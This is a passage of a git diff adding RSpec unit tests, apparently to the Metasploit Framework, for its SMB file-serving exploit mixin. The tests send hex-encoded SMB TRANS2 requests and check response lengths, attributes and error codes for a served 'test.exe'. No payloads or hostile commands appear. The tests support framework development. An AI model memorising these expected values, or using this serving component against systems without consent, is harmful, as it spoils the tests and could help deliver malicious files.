"\xec\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + + "\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:query_path_basic_info_res_length) { 101 } + + let(:non_existent_query_path_basic_info_params) do + "\xec\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + + "\x2e\x00\x65\x00\x78\x00\x61\x00\x00\x00" + end + let(:not_found_res_length) { 39 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#smb_cmd_trans2_query_path_information" do + + context "when valid SMB_QUERY_PATH_STANDARD_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params)).to eq(query_path_standard_info_res_length) + end + + it "send SMB_QUERY_PATH_STANDARD_INFO response with the file size" do + mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length) + end + end + + context "when valid SMB_QUERY_PATH_BASIC_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params)).to eq(query_path_basic_info_res_length) + end + + it "send SMB_QUERY_PATH_BASIC_INFO response with the file attributes" do + mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(0x80) + end + end + + context "when non existent file SMB_QUERY_PATH_BASIC_INFO parameters" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params)).to eq(not_found_res_length) + end + + it "send TRANS2 response with error" do + mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + end + +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb new file mode 100644 index 000000000000..cf8e910343af --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -0,0 +1,219 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:unicode_path) { "\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" } + let(:normalized_path) { '\\test.exe' } + let(:ascii_path) { 'test.exe' } + let(:broken_path) { 'ts.x' } + let(:wildcard_filename) { '\\*.exe' } + let(:wildcard_ext) { '\\test.*' } + let(:alternate_wildcard_filename) { '\\<.exe' } + + let(:valid_find_first2) do + "\x00\x00\x00\x64\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" + + "\x00\x00\x40\xb5\x0f\x20\x00\x00\x00\x0a\x00\x00\x40\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x44\x00\x00\x00\x00\x00\x01" + + "\x00\x01\x00\x23\x00\x00\x00\x00\x16\x00\x56\x05\x07\x00\x04\x01" + + "\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00" + + "\x65\x00\x78\x00\x65\x00\x00\x00" + end + let(:find_first2_res_length) { 179 } + let(:find_first2_res_data_length) { 110 } + let(:find_first2_res_params_length) { 10 } + + let(:valid_query_file_info) do + "\x00\x00\x00\x48\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" + + "\x00\x00\xc0\xb5\x0f\x04\x00\x00\x00\x02\x00\x18\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x44\x00\x00\x00\x00\x00\x01" + + "\x00\x07\x00\x07\x00\x00\x00\x00\xad\xde\xed\x03" + end + let(:query_file_info_res_length) { 83 } + let(:query_file_info_res_data_length) { 22 } + let(:query_file_info_params_length) { 2 } + + let(:valid_query_path_info) do + "\x00\x00\x00\x5e\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" + + "\x00\x00\x40\xb4\x0f\x1a\x00\x00\x00\x02\x00\x28\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x44\x00\x00\x00\x00\x00\x01" + + "\x00\x05\x00\x1d\x00\x00\x00\x00\xec\x03\x00\x00\x00\x00\x5c\x00" + + "\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00" + + "\x00\x00" + end + let(:query_path_info_res_length) { 101 } + let(:query_path_info_res_data_length) { 40 } + let(:query_path_info_params_length) { 2 } + + let(:empty_query) { "\x00\x00\x00\x00" } + let(:empty_query_res_length) { 39 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#normalize_path" do + context "when unicode path" do + it "returns the normalized path" do + expect(mod.normalize_path(unicode_path)).to eq(normalized_path) + end + end + + context "when ascii path" do + it "returns a broken path" do + expect(mod.normalize_path(ascii_path)).to eq(broken_path) + end + end + end + + describe "#smb_expand" do + context "when * wildcard" do + it "expands the filename" do + expect(mod.smb_expand(wildcard_filename)).to eq(normalized_path) + end + + it "doesn't expand the extension" do + expect(mod.smb_expand(wildcard_ext)).to eq('\\test.*') + end + end + + context "when < wildcard" do + it "expands the filename" do + expect(mod.smb_expand(alternate_wildcard_filename)).to eq(normalized_path) + end + end + end + + describe "#smb_cmd_trans2" do + context "when valid FIND_FIRST2 subcommand request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2(client, valid_find_first2)).to eq(find_first2_res_length) + end + + it "sends a FIND_FIRST2 response with parameters" do + mod.smb_cmd_trans2(client, valid_find_first2) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['ParamCount']).to eq(find_first2_res_params_length) + end + + it "sends a FIND_FIRST2 response with data" do + mod.smb_cmd_trans2(client, valid_find_first2) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['DataCount']).to eq(find_first2_res_data_length) + end + end + + context "when valid QUERY_FILE_INFO subcommand request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2(client, valid_query_file_info)).to eq(query_file_info_res_length) + end + + it "sends a QUERY_FILE_INFO response with parameters" do + mod.smb_cmd_trans2(client, valid_query_file_info) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['ParamCount']).to eq(query_file_info_params_length) + end + + it "sends a QUERY_FILE_INFO response with data" do + mod.smb_cmd_trans2(client, valid_query_file_info) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['DataCount']).to eq(query_file_info_res_data_length) + end + end + + context "when valid QUERY_PATH_INFO subcommand request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2(client, valid_query_path_info)).to eq(query_path_info_res_length) + end + + it "sends a QUERY_PATH_INFO response with parameters" do + mod.smb_cmd_trans2(client, valid_query_path_info) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['ParamCount']).to eq(query_path_info_params_length) + end + + it "sends a QUERY_PATH_INFO response with data" do + mod.smb_cmd_trans2(client, valid_query_path_info) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload'].v['DataCount']).to eq(query_path_info_res_data_length) + end + end + + context "when empty request" do + it "returns the number of bytes answered" do + expect(mod.smb_cmd_trans2(client, empty_query)).to eq(empty_query_res_length) + end + + it "sends an SMB_NT_STATUS_NOT_FOUND error to the client" do + mod.smb_cmd_trans2(client, empty_query) + client.seek(0) + res = client.read + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_NT_STATUS_NOT_FOUND) + end + end + end +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb new file mode 100644 index 000000000000..c5737a5714fd --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -0,0 +1,337 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_find_file_both_directory_info_res_length) { 163 } + let(:default_find_file_both_directory_info_res) do + "\x00\x00\x00\x9f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x0a\x00\x5e\x00\x00\x00\x0a\x00\x37\x00\x00" + + "\x00\x5e\x00\x41\x00\x00\x00\x00\x00\x68\x00\xfd\xff\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x5e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00" + end + + let(:default_find_file_names_info_res_length) { 81 } + let(:default_find_file_names_info_res) do + "\x00\x00\x00\x4d\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x0a\x00\x0c\x00\x00\x00\x0a\x00\x37\x00\x00" + + "\x00\x0c\x00\x41\x00\x00\x00\x00\x00\x16\x00\xfd\xff\x01\x00\x01" + + "\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00" + end + + let(:default_find_full_directory_info_res_length) { 137 } + let(:default_find_full_directory_info_res) do + "\x00\x00\x00\x85\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x0a\x00\x44\x00\x00\x00\x0a\x00\x37\x00\x00" + + "\x00\x44\x00\x41\x00\x00\x00\x00\x00\x4e\x00\xfd\xff\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:non_existent_path) { 'non_existent' } + let(:file_path) { 'test.exe' } + let(:folder_path) { '\\' } + + let(:error_res_length) { 39 } + + let(:existent_file_file_both_dir_res_length) { 179 } + let(:existent_folder_file_both_dir_res_length) { 165 } + + let(:existent_file_file_names_res_length) { 97 } + let(:existent_folder_file_names_res_length) { 83 } + + let(:existent_file_file_full_res_length) { 153 } + let(:existent_folder_file_full_res_length) { 139 } + + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_find_file_both_directory_info_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_find_file_both_directory_info_res(client)).to eq(default_find_file_both_directory_info_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_find_file_both_directory_info_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_find_file_both_directory_info_res) + end + end + end + + describe "#send_find_file_names_info_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_find_file_names_info_res(client)).to eq(default_find_file_names_info_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_find_file_names_info_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_find_file_names_info_res) + end + end + end + + describe "#send_find_full_directory_info_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_find_full_directory_info_res(client)).to eq(default_find_full_directory_info_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_find_full_directory_info_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_find_full_directory_info_res) + end + end + end + + describe "#smb_cmd_find_file_both_directory_info" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_both_directory_info(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do + mod.smb_cmd_find_file_both_directory_info(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_both_directory_info(client, file_path)).to eq(existent_file_file_both_dir_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_both_directory_info(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name)) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_both_directory_info(client, folder_path)).to eq(existent_folder_file_both_dir_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_both_directory_info(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + end + end + end + + describe "#smb_cmd_find_file_names_info" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_names_info(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do + mod.smb_cmd_find_file_names_info(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_names_info(client, file_path)).to eq(existent_file_file_names_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_names_info(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name)) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_names_info(client, folder_path)).to eq(existent_folder_file_names_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_names_info(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + end + end + end + + describe "#smb_cmd_find_file_full_directory_info" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_full_directory_info(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do + mod.smb_cmd_find_file_full_directory_info(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_full_directory_info(client, file_path)).to eq(existent_file_file_full_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_full_directory_info(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name)) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_find_file_full_directory_info(client, folder_path)).to eq(existent_folder_file_full_res_length) + end + + it "sends a TRANSACTION2 response with the found FileName in SMB Data" do + mod.smb_cmd_find_file_full_directory_info(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + end + end + end +end + + diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb new file mode 100644 index 000000000000..4a2482eb9e17 --- /dev/null +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -0,0 +1,421 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/smb/server/share' +require 'rex/proto/smb/constants' + +describe Msf::Exploit::Remote::SMB::Server::Share do + + subject(:mod) do + mod = Msf::Exploit.new + mod.extend described_class + mod.send(:initialize) + + mod + end + + let(:client_string) { '' } + let(:client) { StringIO.new(client_string) } + + let(:default_info_basic_res_length) { 101 } + let(:default_info_basic_res) do + "\x00\x00\x00\x61\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x02\x00\x28\x00\x00\x00\x02\x00\x37\x00\x00" + + "\x00\x28\x00\x39\x00\x00\x00\x00\x00\x2a\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00" + end + + let(:default_info_standard_res_length) { 83 } + let(:default_info_standard_res) do + "\x00\x00\x00\x4f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x02\x00\x16\x00\x00\x00\x02\x00\x37\x00\x00" + + "\x00\x16\x00\x39\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00" + end + + let(:default_info_network_res_length) { 117 } + let(:default_info_network_res) do + "\x00\x00\x00\x71\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" + + "\x00\x00\x44\x43\x0a\x02\x00\x38\x00\x00\x00\x02\x00\x37\x00\x00" + + "\x00\x38\x00\x39\x00\x00\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00" + end + + let(:non_existent_fid) { 0x1234 } + let(:file_fid) { 0xdead } + let(:folder_fid) { 0xbeef } + + let(:non_existent_path) { 'non_existent' } + let(:file_path) { 'test.exe' } + let(:folder_path) { '\\' } + + let(:error_res_length) { 39 } + + let(:existent_fid_info_basic_res_length) { 101 } + let(:info_standard_res_length) { 83 } + let(:existent_path_info_basic_res_length) { 101 } + let(:existent_path_info_standard_res_length) { 83 } + let(:existent_path_info_network_res_length) { 117 } + + before(:each) do + mod.instance_variable_set('@state', { + client => { + :multiplex_id => 0x41424344, + :process_id => 0x45464748, + :file_id => 0xdead, + :dir_id => 0xbeef + } + }) + mod.lo = 0 + mod.hi = 0 + mod.share = 'test' + mod.path_name = "\\" + mod.file_name = 'test.exe' + mod.file_contents = 'metasploit' + + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.write(data) + end + end + + describe "#send_info_basic_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_info_basic_res(client)).to eq(default_info_basic_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_info_basic_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_info_basic_res) + end + end + end + + describe "#send_info_standard_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_info_standard_res(client)).to eq(default_info_standard_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_info_standard_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_info_standard_res) + end + end + end + + describe "#send_info_network_res" do + context "when no opts" do + it "returns the number of bytes sent" do + expect(mod.send_info_network_res(client)).to eq(default_info_network_res_length) + end + + it "sends a default TRANSACTION2 response" do + mod.send_info_network_res(client) + client.seek(0) + res = client.read + expect(res).to eq(default_info_network_res) + end + end + end + + describe "#smb_cmd_trans_query_file_info_basic" do + context "when non existent fid" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do + mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + + context "when existent file fid" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_file_info_basic(client, file_fid)).to eq(existent_fid_info_basic_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do + mod.smb_cmd_trans_query_file_info_basic(client, file_fid) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL) + end + end + + context "when existent folder fid" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_file_info_basic(client, folder_fid)).to eq(existent_fid_info_basic_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do + mod.smb_cmd_trans_query_file_info_basic(client, folder_fid) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + 